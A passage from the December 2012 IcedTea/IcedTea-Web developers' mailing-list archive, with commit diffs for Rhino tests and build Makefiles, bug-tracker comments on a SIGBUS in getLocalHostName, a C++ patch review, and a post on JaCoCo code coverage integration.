src/org/RhinoTests/ScriptContextClassTest.java --- a/src/org/RhinoTests/ScriptContextClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/ScriptContextClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -273,6 +273,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -294,6 +295,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/ScriptEngineClassTest.java --- a/src/org/RhinoTests/ScriptEngineClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -273,6 +273,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -294,6 +295,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/ScriptEngineFactoryClassTest.java --- a/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -273,6 +273,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -294,6 +295,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/ScriptEngineTest.java --- a/src/org/RhinoTests/ScriptEngineTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -511,7 +511,7 @@ * @throws Exception if this test case fails. */ protected void testGetEngineByMimeTypeNegative1() throws Exception { - assertNotNull(engineManager, "Script engine manager was not created"); + assertNotNull(this.engineManager, "Script engine manager was not created"); try { @SuppressWarnings("unused") ScriptEngine scriptEngine = this.engineManager.getEngineByMimeType(null); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/SimpleBindingsTest.java --- a/src/org/RhinoTests/SimpleBindingsTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/SimpleBindingsTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -71,14 +71,14 @@ } protected void testConstructor2() { - SimpleBindings simpleBindings = new SimpleBindings(new HashMap()); + SimpleBindings simpleBindings = new SimpleBindings(new HashMap()); assertNotNull(simpleBindings, "new SimpleBindings() failed"); assertTrue(simpleBindings.isEmpty(), "simpleBindings should be empty"); assertTrue(simpleBindings.size() == 0, "simpleBindings should be empty"); } protected void testConstructor3() { - SimpleBindings simpleBindings = new SimpleBindings(new TreeMap()); + SimpleBindings simpleBindings = new SimpleBindings(new TreeMap()); assertNotNull(simpleBindings, "new SimpleBindings() failed"); assertTrue(simpleBindings.isEmpty(), "simpleBindings should be empty"); assertTrue(simpleBindings.size() == 0, "simpleBindings should be empty"); From ptisnovs at icedtea.classpath.org Wed Dec 5 02:09:31 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 05 Dec 2012 10:09:31 +0000 Subject: /hg/icedtea-web: Avoid warning message printed in clean target i... Message-ID: changeset b44df9dc3675 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=b44df9dc3675 author: Pavel Tisnovsky date: Wed Dec 05 11:12:16 2012 +0100 Avoid warning message printed in clean target if softkiller is not compiled. diffstat: ChangeLog | 5 +++++ Makefile.am | 2 +- 2 files changed, 6 insertions(+), 1 deletions(-) diffs (24 lines): diff -r a2b41a1af97c -r b44df9dc3675 ChangeLog --- a/ChangeLog Tue Dec 04 11:09:03 2012 -0500 +++ b/ChangeLog Wed Dec 05 11:12:16 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-05 Pavel Tisnovsky + + * Makefile.am: Avoid warning message printed in clean target if + softkiller is not compiled. + 2012-12-04 Adam Domurad * netx/net/sourceforge/jnlp/resources/Messages.properties: diff -r a2b41a1af97c -r b44df9dc3675 Makefile.am --- a/Makefile.am Tue Dec 04 11:09:03 2012 -0500 +++ b/Makefile.am Wed Dec 05 11:12:16 2012 +0100 @@ -1198,7 +1198,7 @@ rm -f $(TESTS_DIR)/*.html clean-$(SOFTKILLER): - rm $(TESTS_DIR)/softkiller + rm -f $(TESTS_DIR)/softkiller clean-netx-dist-tests: clean_tests_reports netx-dist-tests-remove-cert-from-public clean-custom-reproducers clean-$(SOFTKILLER) rm -f test-extensions-source-files.txt From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 05:48:09 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 13:48:09 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 --- Comment #9 from Andrew John Hughes --- So that bug needs backporting presumably. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/ec8d1a46/attachment.html From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 07:14:45 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 15:14:45 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 --- Comment #10 from Andrew Haley --- (In reply to comment #9) > So that bug needs backporting presumably. (In reply to comment #8) > This can be fixed by following the change here. > http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/ab13f19ee0ff Are you sure? Do you really have a hostname that is so very long? -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/6578a69c/attachment.html From adomurad at redhat.com Wed Dec 5 06:26:40 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 05 Dec 2012 09:26:40 -0500 Subject: [RFC][icedtea-web]: Set plugin JVM options in itw-settings In-Reply-To: <50BE6A33.5010909@redhat.com> References: <508ED961.4070705@redhat.com> <509130B7.8090508@redhat.com> <50AD1CC6.2060103@redhat.com> <50AD442B.1050903@redhat.com> <50BD206B.8020209@redhat.com> <50BE4E34.6000201@redhat.com> <50BE6A33.5010909@redhat.com> Message-ID: <50BF59A0.1030500@redhat.com> On 12/04/2012 04:25 PM, Saad Mohammad wrote: > Hi Adam, > > Thanks for all the tips and tricks around C++. Updated patch is attached! > I'm starting to enjoy C++ as things start working more correctly now. :) Good to hear :) > [..snip..] > + } > + > + tokenOutput = IcedTeaPluginUtilities::strSplit(output, " \n"); > + > + if (!tokenOutput->empty() && *tokenOutput->at(0) =="null") > + { > + delete tokenOutput->at(0); > + tokenOutput->erase(tokenOutput->begin()); > + } A comment here about why you're deleting this token would be nice. Otherwise, I have no further torture to inflict on you :) Looks good to me now. If you have tested it to your satisfaction, OK for HEAD. Thanks, -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/bf7382d1/attachment.html From jvanek at redhat.com Wed Dec 5 07:47:03 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Wed, 05 Dec 2012 16:47:03 +0100 Subject: [fyi] [icedtea-web] new code coverage direction - jacoco In-Reply-To: <50B71F68.10203@redhat.com> References: <50B4FA0C.5030502@redhat.com> <50B64717.1040705@redhat.com> <50B71F68.10203@redhat.com> Message-ID: <50BF6C77.4010507@redhat.com> On 11/29/2012 09:40 AM, Jiri Vanek wrote: > On 11/28/2012 06:17 PM, Jiri Vanek wrote: >> On 11/27/2012 06:36 PM, Jiri Vanek wrote: >>> hi all! >>> >>> Last few days I was hidding behind new codecoverage for icedtea-web. It have appeared to be more >>> tricky then I thought: >>> >>> * Support for jdk7 on field of coverage tool is desperate - the only tool which support it and is >>> alive (actually I really think it is the only one right now) is JACOCO. >>> * jacoco packages in fedora are broken - I have fixed them and post patch to its maintainer >>> * jacoco itself do not support coverage of boot-classapth, I have fixed this too, and I hope I will >>> be able to upstream this patch - quite simple patch but it will need some more tuning (xboot.patch) >>> [as I do not see to alll corners of this amazing tool] >>> * jacoco although having excellent API, have no commandline tool for report generation and for >>> merging of results. I have wrote my own (simple one, jacoco-tool.diff) and I hope I will be able to >>> upstream it to rather then fill icedtea-web with it. >>> >>> So do not use this patch for now - it uses custom packages upon custom sources with custom >>> dependences (Asm4 instead of asm3) :), but if all the fixes will go upstream then the results are >>> amazing! >>> >>> The integration of patched package with patched sources is then quite simple and same as emma was. >>> Coverage of unit tests, coverage of individual reproducers run, then merged all reproducers together >>> and at the end merged all reproducers and unit test's results. >>> On each sub-step xml and html report is generated. >>> >>> Good new is that it will be easy to cover also plugin [work in progress] >>> >>> Best regards >>> J. >>> >>> >>> ps: with litlle bit more tweaking on xbooth.patch I was able to create coverage report for most >>> rt.jar itself on openjdk build:) >>> >> hmm.. sun.reflect.* must be excluded on jdk7 too... >> > > Here is the example of yesterdays run: > http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ > > not bad comapring to latrest emma run: > http://10.34.2.200/icedtea-web-dailyreport/ICWDR_1343375169/tests.build/coverage/index.html > > :) Here is final version of my patch. Althoug my suggested changes are moving forward, untill it reach packages can take an ages, so would like to push it if there will be good soul to review it. I will attach the results of latest unit+javaws+plugin tests. I will track the jacoco changes and modify this patch how needed. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: all+plugin+clean-integration.patch Type: text/x-patch Size: 19160 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/9a79ff95/allpluginclean-integration.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: all+plugin+clean-reportGenerator.patch Type: text/x-patch Size: 31756 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/9a79ff95/allpluginclean-reportGenerator.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: all+plugin+clean-pluginPatch.patch Type: text/x-patch Size: 1685 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/9a79ff95/allpluginclean-pluginPatch.patch From andrew at icedtea.classpath.org Wed Dec 5 07:52:12 2012 From: andrew at icedtea.classpath.org (andrew at icedtea.classpath.org) Date: Wed, 05 Dec 2012 15:52:12 +0000 Subject: /hg/icedtea6-hg: 10 new changesets Message-ID: changeset 8f6318c8c2f4 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=8f6318c8c2f4 author: Lukas Berk date: Thu Nov 01 14:03:48 2012 -0400 Enhanced garbage collection dtrace/systemtap instrumentation. 2012-11-01 Lukas Berk * Makefile.am: (ICEDTEA_PATCHES): Add patches/systemtap.patch. (EXTRA_DIST): Add tapset/hotspot_gc.stp.in. (stamps/icedtea.stamp): Build tapset/hotspot_gc.stp. (stamps/icedtea-debug.stamp): Likewise. * configure.ac: Generate tapset/hotspot_gc.stp. * patches/systemtap_gc.patch: Add Garbage Collection dtrace/systemtap probes to hotspot. * tapset/hotspot_gc.stp.in: Systemtap tapset allowing use of GC probes more comfortablely. changeset 849f72a5a514 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=849f72a5a514 author: Stefan Ring date: Mon Nov 05 16:53:59 2012 +0100 PR1120: Upgrade CACAO to 2012-11-04 version Changes: - Unified version for icedtea6/7 - CA166, CA167: check-langtools fixes for icedtea6 - Implemented sun.misc.Perf.highResCounter - CACAO now identifies by its own Mercurial revision - Some memory barrier maintenance - Ability to run when compiled as Thumb on armv5 (no Thumb JIT though) 2012-11-04 Stefan Ring * Makefile.am (CACAO_VERSION, CACAO_SHA256SUM): Updated. (ICEDTEA_PATCHES): Removed patches/cacao/jsig.patch. (stamps/cacao.stamp): Create Xusage.txt and libjsig.so as for JamVM. * patches/cacao/jsig.patch: Removed. changeset 1793e2fb84c5 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=1793e2fb84c5 author: Xerxes Ranby date: Tue Nov 06 18:28:55 2012 +0100 CACAO: PR1120: Added ChangeLog entry, updated NEWS and HACKING. 2012-11-06 Xerxes Ranby Stefan Ring * Makefile.am (CACAO_VERSION, CACAO_SHA256SUM): Updated. (ICEDTEA_PATCHES): Removed patches/cacao/jsig.patch. (stamps/cacao.stamp): Create Xusage.txt and libjsig.so as for JamVM. * patches/cacao/jsig.patch: Removed. * HACKING: Updated. * NEWS: Updated. changeset dfe3209fcf64 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=dfe3209fcf64 author: Andrew John Hughes date: Tue Nov 20 16:12:30 2012 +0000 RH513605: Updating/Installing OpenJDK should recreate the shared class-data archive 2012-11-20 Andrew John Hughes RH513605: Updating/Installing OpenJDK should recreate the shared class-data archive * Makefile.am: (icedtea-against-icedtea): Depend on add-archive. (clean-icedtea-against-icedtea): Depend on clean-add-archive. (icedtea-debug-against-icedtea): Depend on add-archive-debug. (clean-icedtea-against-icedtea): Depend on clean-add-archive-debug. (add-archive): Run -Xshare:dump on the newly built JDK. (clean-add-archive): Delete stamp. (add-archive-debug): Same as add-archive for icedtea-debug. (clean-add-archive-debug): Same as clean-add-archive for icedtea-debug. (icedtea-ecj-against-icedtea): Depend on add-archive-ecj. (clean-icedtea-against-icedtea): Depend on clean-add-archive-ecj. (add-archive-ecj): Same as add-archive for icedtea-ecj. (clean-add-archive-ecj): Same as clean-add-archive for icedtea-ecj. * NEWS: Mention. changeset ac23a08f7709 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=ac23a08f7709 author: Andrew John Hughes date: Wed Nov 28 10:38:33 2012 +0000 Fix bootstrap build with OpenJDK6 by pre-building new CORBA classes. 2012-11-28 Andrew John Hughes * Makefile.am: (ICEDTEA_BOOTSTRAP_CLASSES): Add the generated file ORBUtilSystemException.java if the build JDK has the old version. * configure.ac: Add checks for com.sun.corba.se.impl.logging.ORBUtilSystemException and the method ioExceptionOnClose(Throwable). * patches/ecj/corba-dependencies.patch: Regenerated against new version of icedtea.patch. * patches/ecj/icedtea.patch: Remove unneeded addition of bootclasspath. changeset 5e25810d47d2 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=5e25810d47d2 author: Andrew John Hughes date: Wed Nov 28 10:39:54 2012 +0000 Add ANT_RESPECT_JAVA_HOME for Gentoo ant support. 2009-07-09 Andrew John Hughes * Makefile.am: Add ANT_RESPECT_JAVA_HOME for Gentoo ant support. changeset 62ea56e2d58a in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=62ea56e2d58a author: Andrew John Hughes date: Wed Nov 28 13:34:53 2012 +0000 Use javac or ecj binaries in bootstrap rather than always using ecj.jar (largely backported from 7). 2012-11-28 Andrew John Hughes * acinclude.m4: (IT_FIND_COMPILER): Invoke IT_USING_ECJ. * javac.in: Add final else block which exits with an error. 2011-07-05 Andrew John Hughes * javac.in: Add -XDignore.symbol.file=true when using javac to avoid numerous proprietary warnings. 2010-12-08 Andrew John Hughes * javac.in: Pass -Xprefer:source (if javac is used) to pick up local OpenJDK versions of classes prior to those in the boot JDK. 2009-07-21 Andrew John Hughes * acinclude.m4: (IT_USING_ECJ): Work out whether javac is ecj or not. * javac.in: Run @JAVAC@ rather than @ECJ@ and vary arguments as needed depending on @USING_ECJ at . changeset 6787928de410 in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=6787928de410 author: Andrew John Hughes date: Wed Nov 28 14:41:42 2012 +0000 Only run -Xshare:dump when java exists and we aren't building CACAO or JamVM. 2012-11-28 Andrew John Hughes * Makefile.am: (add-archive): Only run -Xshare:dump when java exists and we aren't building CACAO or JamVM. (add-archive-debug): Likewise. (add-archive-ecj): Likewise. changeset cea49ba2afcd in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=cea49ba2afcd author: Andrew John Hughes date: Wed Nov 28 14:42:31 2012 +0000 Restore deferencing of ecj arguments lost when backporting from 7. 2012-11-28 Andrew John Hughes * javac.in: Restore deferencing of ecj arguments lost when backporting from 7. changeset 5b29b2f26eea in /hg/icedtea6-hg details: http://icedtea.classpath.org/hg/icedtea6-hg?cmd=changeset;node=5b29b2f26eea author: Andrew John Hughes date: Wed Dec 05 14:55:23 2012 +0000 Merge diffstat: ChangeLog | 108 +++++++ HACKING | 6 +- Makefile.am | 92 +++++- NEWS | 8 + acinclude.m4 | 16 + configure.ac | 12 +- javac.in | 18 +- patches/cacao/jsig.patch | 18 - patches/ecj/corba-dependencies.patch | 17 +- patches/ecj/icedtea.patch | 16 - patches/systemtap_gc.patch | 369 ++++++++++++++++++++++++ tapset/hotspot_gc.stp.in | 534 +++++++++++++++++++++++++++++++++++ 12 files changed, 1155 insertions(+), 59 deletions(-) diffs (truncated from 1483 to 500 lines): diff -r 109033172ae7 -r 5b29b2f26eea ChangeLog --- a/ChangeLog Wed Oct 31 11:34:40 2012 +0000 +++ b/ChangeLog Wed Dec 05 14:55:23 2012 +0000 @@ -1,9 +1,117 @@ +2012-11-28 Andrew John Hughes + + * javac.in: + Restore deferencing of ecj arguments + lost when backporting from 7. + +2012-11-28 Andrew John Hughes + + * Makefile.am: + (add-archive): Only run -Xshare:dump when java + exists and we aren't building CACAO or JamVM. + (add-archive-debug): Likewise. + (add-archive-ecj): Likewise. + +2012-11-28 Andrew John Hughes + + * acinclude.m4: + (IT_FIND_COMPILER): Invoke IT_USING_ECJ. + * javac.in: + Add final else block which exits with an error. + +2011-07-05 Andrew John Hughes + + * javac.in: Add -XDignore.symbol.file=true + when using javac to avoid numerous proprietary + warnings. + +2010-12-08 Andrew John Hughes + + * javac.in: + Pass -Xprefer:source (if javac is used) to + pick up local OpenJDK versions of classes + prior to those in the boot JDK. + +2009-07-21 Andrew John Hughes + + * acinclude.m4: + (IT_USING_ECJ): Work out whether javac is ecj or not. + * javac.in: + Run @JAVAC@ rather than @ECJ@ and vary arguments as + needed depending on @USING_ECJ at . + +2009-07-09 Andrew John Hughes + + * Makefile.am: + Add ANT_RESPECT_JAVA_HOME for Gentoo ant support. + +2012-11-28 Andrew John Hughes + + * Makefile.am: + (ICEDTEA_BOOTSTRAP_CLASSES): Add the generated + file ORBUtilSystemException.java if the build JDK + has the old version. + * configure.ac: + Add checks for com.sun.corba.se.impl.logging.ORBUtilSystemException + and the method ioExceptionOnClose(Throwable). + * patches/ecj/corba-dependencies.patch: + Regenerated against new version of icedtea.patch. + * patches/ecj/icedtea.patch: + Remove unneeded addition of bootclasspath. + +2012-11-20 Andrew John Hughes + + RH513605: Updating/Installing OpenJDK should recreate + the shared class-data archive + * Makefile.am: + (icedtea-against-icedtea): Depend on add-archive. + (clean-icedtea-against-icedtea): Depend on clean-add-archive. + (icedtea-debug-against-icedtea): Depend on add-archive-debug. + (clean-icedtea-against-icedtea): Depend on clean-add-archive-debug. + (add-archive): Run -Xshare:dump on the newly built JDK. + (clean-add-archive): Delete stamp. + (add-archive-debug): Same as add-archive for icedtea-debug. + (clean-add-archive-debug): Same as clean-add-archive for icedtea-debug. + (icedtea-ecj-against-icedtea): Depend on add-archive-ecj. + (clean-icedtea-against-icedtea): Depend on clean-add-archive-ecj. + (add-archive-ecj): Same as add-archive for icedtea-ecj. + (clean-add-archive-ecj): Same as clean-add-archive for icedtea-ecj. + * NEWS: Mention. + +2012-11-06 Xerxes R??nby + Stefan Ring + + * Makefile.am (CACAO_VERSION, CACAO_SHA256SUM): Updated. + (ICEDTEA_PATCHES): Removed patches/cacao/jsig.patch. + (stamps/cacao.stamp): Create Xusage.txt and libjsig.so as for JamVM. + * patches/cacao/jsig.patch: Removed. + * HACKING: Updated. + * NEWS: Updated. + +2012-11-01 Lukas Berk + + * Makefile.am: + (ICEDTEA_PATCHES): Add patches/systemtap.patch. + (EXTRA_DIST): Add tapset/hotspot_gc.stp.in. + (stamps/icedtea.stamp): Build tapset/hotspot_gc.stp. + (stamps/icedtea-debug.stamp): Likewise. + * configure.ac: Generate tapset/hotspot_gc.stp. + * patches/systemtap_gc.patch: + Add Garbage Collection dtrace/systemtap probes to hotspot. + * tapset/hotspot_gc.stp.in: + Systemtap tapset allowing use of GC probes more comfortablely. + 2012-10-31 Andrew John Hughes * NEWS: Correct bad CVE number given by Oracle. 2012-10-31 Andrew John Hughes + * Makefile.am: + (OPENJDK_VERSION): Bump to next release, b28. + +2012-10-31 Andrew John Hughes + * generated/com/sun/corba/se/impl/logging/ActivationSystemException.java, * generated/com/sun/corba/se/impl/logging/IORSystemException.java, * generated/com/sun/corba/se/impl/logging/InterceptorsSystemException.java, diff -r 109033172ae7 -r 5b29b2f26eea HACKING --- a/HACKING Wed Oct 31 11:34:40 2012 +0000 +++ b/HACKING Wed Dec 05 14:55:23 2012 +0000 @@ -89,9 +89,6 @@ * icedtea-java2d-mitre-join.patch: Backport fix for mitre join decoration (S6812600). * icedtea-java2d-stroker-internal-joint.patch: Fix penultimate joint created by GeneralPath.closePath(). * icedtea-java2d-stroker-internal-close-joint.patch: Fix final joint created by GeneralPath.closePath(). -* icedtea-cacao.patch: For the 'java' command, create new thread depending on the current VM. -* icedtea-cacao-no-mmap-first-page.patch: Don't mmap the first memory page. -* cacao/no-strict-aliasing.patch: Turn off strict aliasing which causes an issue with the verifier when building with GCC 4.4 (cacao PR129). * icedtea-shark.patch: Add support for the Shark JIT. * icedtea-xshm.patch: Support newer X11 headers for awt_GraphicsEnv.h. @@ -138,6 +135,9 @@ The following patches are only applied when building with the CACAO virtual machine: +* cacao/launcher.patch: For the 'java' command, create new thread depending on the current VM. +* cacao/memory.patch: Increase memory while building langtools for cacao builds. + The following patches are to support Xrender pipeline (-Dsun.java2d.xrender): * icedtea-xrender-xxx.patch: Numbered patches from xrender branch diff -r 109033172ae7 -r 5b29b2f26eea Makefile.am --- a/Makefile.am Wed Oct 31 11:34:40 2012 +0000 +++ b/Makefile.am Wed Dec 05 14:55:23 2012 +0000 @@ -2,11 +2,11 @@ OPENJDK_DATE = 26_oct_2012 OPENJDK_SHA256SUM = 044c3877b15940ff04f8aa817337f2878a00cc89674854557f1a02f15b1802a0 -OPENJDK_VERSION = b27 +OPENJDK_VERSION = b28 OPENJDK_URL = http://download.java.net/openjdk/jdk6/promoted/$(OPENJDK_VERSION)/ -CACAO_VERSION = cff92704c4e0 -CACAO_SHA256SUM = dc768c9d097fb056ad34fc6d5a57e8fd4f3b24bf515be92acc5ee4208160eb3f +CACAO_VERSION = 9968abd511a3 +CACAO_SHA256SUM = 3b1ce9d2205d2afba4614a194484341758ee2cb340396310ac2c00e5a2a20955 CACAO_BASE_URL = http://icedtea.classpath.org/download/drops/cacao CACAO_URL = $(CACAO_BASE_URL)/$(CACAO_VERSION).tar.gz CACAO_SRC_ZIP = cacao-$(CACAO_VERSION).tar.gz @@ -80,6 +80,14 @@ $(SHARE)/javax/swing/plaf/basic/BasicDirectoryModel.java endif +# Workaround for old OpenJDK versions with older CORBA classes +if !LACKS_ORBUTILSYSTEMEXCEPTION +if LACKS_ORBUTILSYSTEMEXCEPTION_IOEXCEPTIONONCLOSE_THROWABLE +ICEDTEA_BOOTSTRAP_CLASSES += \ + $(abs_top_srcdir)/generated/com/sun/corba/se/impl/logging/ORBUtilSystemException.java +endif +endif + # Flags MEMORY_LIMIT = -J-Xmx1024m IT_CFLAGS=$(CFLAGS) $(ARCHFLAG) @@ -433,7 +441,6 @@ if BUILD_CACAO ICEDTEA_PATCHES += \ patches/cacao/launcher.patch \ - patches/cacao/jsig.patch \ patches/cacao/memory.patch endif @@ -453,6 +460,7 @@ patches/sdt-dtrace-hpp.patch \ patches/sdt-make.patch \ patches/sdt-arguments.patch \ + patches/systemtap_gc.patch patches/systemtap-gcc-4.5.patch \ patches/systemtap-alloc-size-workaround.patch endif @@ -561,6 +569,7 @@ JAVAC="" \ JAVA_HOME="" \ JDK_HOME="" \ + ANT_RESPECT_JAVA_HOME="TRUE" \ DISTRIBUTION_ID="$(DIST_ID)" \ DERIVATIVE_ID="$(ICEDTEA_NAME) $(PACKAGE_VERSION)$(ICEDTEA_REV)" \ DEBUG_CLASSFILES="true" \ @@ -646,6 +655,7 @@ tapset/hotspot.stp.in \ tapset/hotspot_jni.stp.in \ tapset/jstack.stp.in \ + tapset/hotspot_gc.stp.in \ scripts/jni_create_stap.c \ scripts/jni_desc \ rewriter/agpl-3.0.txt \ @@ -1513,25 +1523,27 @@ stamps/icedtea-against-icedtea.stamp: stamps/icedtea.stamp \ stamps/add-jamvm.stamp stamps/add-cacao.stamp stamps/add-zero.stamp \ - stamps/add-systemtap.stamp stamps/add-pulseaudio.stamp stamps/add-nss.stamp stamps/add-tzdata-support.stamp + stamps/add-systemtap.stamp stamps/add-pulseaudio.stamp stamps/add-nss.stamp stamps/add-tzdata-support.stamp \ + stamps/add-archive.stamp mkdir -p stamps touch stamps/icedtea-against-icedtea.stamp clean-icedtea-against-icedtea: clean-add-jamvm clean-add-zero clean-add-cacao \ - clean-add-systemtap clean-add-pulseaudio \ - clean-add-nss clean-add-tzdata-support + clean-add-systemtap clean-add-pulseaudio clean-add-nss clean-add-tzdata-support \ + clean-add-archive rm -f stamps/icedtea-against-icedtea.stamp stamps/icedtea-debug-against-icedtea.stamp: stamps/icedtea-debug.stamp \ stamps/add-jamvm-debug.stamp stamps/add-cacao-debug.stamp \ stamps/add-zero-debug.stamp stamps/add-systemtap-debug.stamp stamps/add-pulseaudio-debug.stamp \ - stamps/add-nss-debug.stamp stamps/add-tzdata-support-debug.stamp + stamps/add-nss-debug.stamp stamps/add-tzdata-support-debug.stamp stamps/add-archive-debug.stamp mkdir -p stamps touch stamps/icedtea-debug-against-icedtea.stamp clean-icedtea-debug-against-icedtea: clean-add-zero-debug \ clean-add-jamvm-debug clean-add-cacao-debug clean-add-systemtap-debug \ - clean-add-pulseaudio-debug clean-add-nss-debug clean-add-tzdata-support-debug + clean-add-pulseaudio-debug clean-add-nss-debug clean-add-tzdata-support-debug \ + clean-add-archive-debug rm -f stamps/icedtea-debug-against-icedtea.stamp stamps/add-systemtap.stamp: stamps/icedtea.stamp @@ -1543,6 +1555,9 @@ < $(abs_top_builddir)/tapset/hotspot.stp \ > $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_gc.stp \ + > $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + sed -e '/\/client\/libjvm.so/d' \ < $(abs_top_builddir)/tapset/hotspot_jni.stp \ > $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ else \ @@ -1574,6 +1589,8 @@ else \ cp $(abs_top_builddir)/tapset/hotspot.stp \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_gc.stp \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ cp $(abs_top_builddir)/tapset/hotspot_jni.stp \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ fi @@ -1760,6 +1777,32 @@ rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties rm -f stamps/add-tzdata-support-debug.stamp +stamps/add-archive.stamp: stamps/icedtea.stamp +if !ENABLE_JAMVM +if !ENABLE_CACAO + if [ -e $(BUILD_OUTPUT_DIR)/j2sdk-image/bin/java ] ; then \ + $(BUILD_OUTPUT_DIR)/j2sdk-image/bin/java -Xshare:dump ; \ + fi +endif +endif + touch stamps/add-archive.stamp + +clean-add-archive: + rm -f stamps/add-archive.stamp + +stamps/add-archive-debug.stamp: stamps/icedtea-debug.stamp +if !ENABLE_JAMVM +if !ENABLE_CACAO + if [ -e $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/bin/java ] ; then \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/bin/java -Xshare:dump ; \ + fi +endif +endif + touch stamps/add-archive-debug.stamp + +clean-add-archive-debug: + rm -f stamps/add-archive-debug.stamp + # OpenJDK ecj Targets # =================== @@ -1780,12 +1823,13 @@ rm -f stamps/icedtea-ecj.stamp stamps/icedtea-against-ecj.stamp: stamps/icedtea-ecj.stamp stamps/add-systemtap-ecj.stamp \ - 